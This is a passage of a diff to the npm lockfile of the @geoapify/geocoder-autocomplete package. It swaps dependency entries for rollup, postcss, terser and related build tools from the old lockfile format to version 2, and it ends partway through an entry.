"https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", - "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-normalize-unicode": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz", - "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==", - "dev": true, - "requires": { - "browserslist": "^4.16.6", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-normalize-url": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", - "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", - "dev": true, - "requires": { - "normalize-url": "^6.0.1", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-normalize-whitespace": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", - "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-ordered-values": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", - "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", - "dev": true, - "requires": { - "cssnano-utils": "^3.1.0", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-reduce-initial": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz", - "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==", - "dev": true, - "requires": { - "browserslist": "^4.16.6", - "caniuse-api": "^3.0.0" - } - }, - "postcss-reduce-transforms": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", - "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-reporter": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz", - "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==", - "dev": true, - "requires": { - "picocolors": "^1.0.0", - "thenby": "^1.3.4" - } - }, - "postcss-selector-parser": { - "version": "6.0.10", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", - "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", - "dev": true, - "requires": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - } - }, - "postcss-svgo": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", - "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0", - "svgo": "^2.7.0" - } - }, - "postcss-unique-selectors": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", - "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", - "dev": true, - "requires": { - "postcss-selector-parser": "^6.0.5" - } - }, - "postcss-value-parser": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - "dev": true - }, - "pretty-hrtime": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", - "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", - "dev": true - }, - "queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true - }, - "randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, - "requires": { - "safe-buffer": "^5.1.0" - } - }, - "read-cache": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", - "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", - "dev": true, - "requires": { - "pify": "^2.3.0" - } - }, - "readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "dev": true, - "requires": { - "picomatch": "^2.2.1" - } - }, - "require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - "dev": true - }, - "resolve": { - "version": "1.22.1", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz", - "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==", - "dev": true, - "requires": { - "is-core-module": "^2.9.0", - "path-parse": "^1.0.7", - "supports-preserve-symlinks-flag": "^1.0.0" - } - }, - "reusify": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", - "dev": true - }, - "rollup": { - "version": "2.75.7", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.75.7.tgz", - "integrity": "sha512-VSE1iy0eaAYNCxEXaleThdFXqZJ42qDBatAwrfnPlENEZ8erQ+0LYX4JXOLPceWfZpV1VtZwZ3dFCuOZiSyFtQ==", - "dev": true, - "requires": { - "fsevents": "~2.3.2" - } - }, - "rollup-plugin-terser": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", - "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.10.4", - "jest-worker": "^26.2.1", - "serialize-javascript": "^4.0.0", - "terser": "^5.0.0" - } - }, - "run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, - "requires": { - "queue-microtask": "^1.2.2" - } - }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true - }, - "serialize-javascript": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", - "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", - "dev": true, - "requires": { - "randombytes": "^2.1.0" - } - }, - "slash": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", - "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", - "dev": true - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "source-map-js": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", - "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", - "dev": true - }, - "source-map-support": { - "version": "0.5.21", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", - "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "source-map": "^0.6.0" - } - }, - "sourcemap-codec": { - "version": "1.4.8", - "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", - "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", - "dev": true - }, - "stable": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", - "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", - "dev": true - }, - "string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - } - }, - "strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.1" - } - }, - "stylehacks": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz", - "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==", - "dev": true, - "requires": { - "browserslist": "^4.16.6", - "postcss-selector-parser": "^6.0.4" - } - }, - "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - }, - "supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "dev": true - }, - "svgo": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", - "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", - "dev": true, - "requires": { - "@trysound/sax": "0.2.0", - "commander": "^7.2.0", - "css-select": "^4.1.3", - "css-tree": "^1.1.3", - "csso": "^4.2.0", - "picocolors": "^1.0.0", - "stable": "^0.1.8" - } - }, - "terser": { - "version": "5.14.1", - "resolved": "https://registry.npmjs.org/terser/-/terser-5.14.1.tgz", - "integrity": "sha512-+ahUAE+iheqBTDxXhTisdA8hgvbEG1hHOQ9xmNjeUJSoi6DU/gMrKNcfZjHkyY6Alnuyc+ikYJaxxfHkT3+WuQ==", - "dev": true, - "requires": { - "@jridgewell/source-map": "^0.3.2", - "acorn": "^8.5.0", - "commander": "^2.20.0", - "source-map-support": "~0.5.20" - }, - "dependencies": { - "commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", - "dev": true - } - } - }, - "thenby": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", - "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", - "dev": true - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "tslib": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", - "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", - "dev": true - }, - "typescript": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.7.4.tgz", - "integrity": "sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==", - "dev": true - }, - "universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true - }, - "update-browserslist-db": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.4.tgz", - "integrity": "sha512-jnmO2BEGUjsMOe/Fg9u0oczOe/ppIDZPebzccl1yDWGLFP16Pa1/RM5wEoKYPG2zstNcDuAStejyxsOuKINdGA==", - "dev": true, - "requires": { - "escalade": "^3.1.1", - "picocolors": "^1.0.0" - } - }, - "util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "dev": true - }, - "wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, - "requires": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } - } - }, - "wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "dev": true - }, - "y18n": { - "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - "dev": true - }, - "yaml": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", - "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", - "dev": true - }, - "yargs": { - "version": "17.5.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.5.1.tgz", - "integrity": "sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==", - "dev": true, - "requires": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.3", - "y18n": "^5.0.5", - "yargs-parser": "^21.0.0" - } - }, - "yargs-parser": { - "version": "21.0.1", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.1.tgz", - "integrity": "sha512-9BK1jFpLzJROCI5TzwZL/TU4gqjK5xiHV/RfWLOahrjAko/e4DJkRDZQXfvqAsiZzzYhgAzbgz6lg48jcm4GLg==", - "dev": true - } - } -} +{ + "name": "@geoapify/geocoder-autocomplete", + "version": "1.4.1", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "@geoapify/geocoder-autocomplete", + "version": "1.4.1", + "license": "MIT", + "devDependencies": { + "@rollup/plugin-commonjs": "^21.0.1", + "@rollup/plugin-json": "^4.1.0", + "@rollup/plugin-node-resolve": "^13.1.3", + "@rollup/plugin-typescript": "^8.3.0", + "cssnano": "^5.0.17", + "postcss": "^8.4.6", + "postcss-cli": "^9.1.0", + "postcss-import": "^14.0.2", + "rollup": "^2.67.2", + "rollup-plugin-terser": "^7.0.2", + "tslib": "^2.3.1", + "typescript": "^4.5.5" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz", + "integrity": "sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.0.8.tgz", + "integrity": "sha512-YK5G9LaddzGbcucK4c8h5tWFmMPBvRZ/uyWmN1/SbBdIvqGUdWGkJ5BAaccgs6XbzVLsqbPJrBSFwKv3kT9i7w==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", + "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", + "dev": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.14", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.14.tgz", + "integrity": "sha512-bJWEfQ9lPTvm3SneWwRFVLzrh6nhjwqw7TUFFBEMzwvg7t7PCDenf2lDwqo4NQXzdpgBXyFgDWnQA+2vkruksQ==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@rollup/plugin-commonjs": { + "version": "21.1.0", + "resolved": "https://registry.npmjs.org/@rollup/plugin-commonjs/-/plugin-commonjs-21.1.0.tgz", + "integrity": "sha512-6ZtHx3VHIp2ReNNDxHjuUml6ur+WcQ28N1yHgCQwsbNkQg2suhxGMDQGJOn/KuDxKtd1xuZP5xSTwBA4GQ8hbA==", + "dev": true, + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "commondir": "^1.0.1", + "estree-walker": "^2.0.1", + "glob": "^7.1.6", + "is-reference": "^1.2.1", + "magic-string": "^0.25.7", + "resolve": "^1.17.0" + }, + "engines": { + "node": ">= 8.0.0" + }, + "peerDependencies": { + "rollup": "^2.38.3" + } + }, + "node_modules/@rollup/plugin-json": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@rollup/plugin-json/-/plugin-json-4.1.0.tgz", + "integrity": "sha512-yfLbTdNS6amI/2OpmbiBoW12vngr5NW2jCJVZSBEz+H5KfUJZ2M7sDjk0U6GOOdCWFVScShte29o9NezJ53TPw==", + "dev": true, + "dependencies": { + "@rollup/pluginutils": "^3.0.8" + }, + "peerDependencies": { + "rollup": "^1.20.0 || ^2.0.0" + } + }, + "node_modules/@rollup/plugin-node-resolve": { + "version": "13.3.0", + "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-13.3.0.tgz", + "integrity": "sha512-Lus8rbUo1eEcnS4yTFKLZrVumLPY+YayBdWXgFSHYhTT2iJbMhoaaBL3xl5NCdeRytErGr8tZ0L71BMRmnlwSw==", + "dev": true, + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "@types/resolve": "1.17.1", + "deepmerge": "^4.2.2", + "is-builtin-module": "^3.1.0", + "is-module": "^1.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "rollup": "^2.42.0" + } + }, + "node_modules/@rollup/plugin-typescript": { + "version": "8.3.3", + "resolved": "https://registry.npmjs.org/@rollup/plugin-typescript/-/plugin-typescript-8.3.3.tgz", + "integrity": "sha512-55L9SyiYu3r/JtqdjhwcwaECXP7JeJ9h1Sg1VWRJKIutla2MdZQodTgcCNybXLMCnqpNLEhS2vGENww98L1npg==", + "dev": true, + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "resolve": "^1.17.0" + }, + "engines": { + "node": 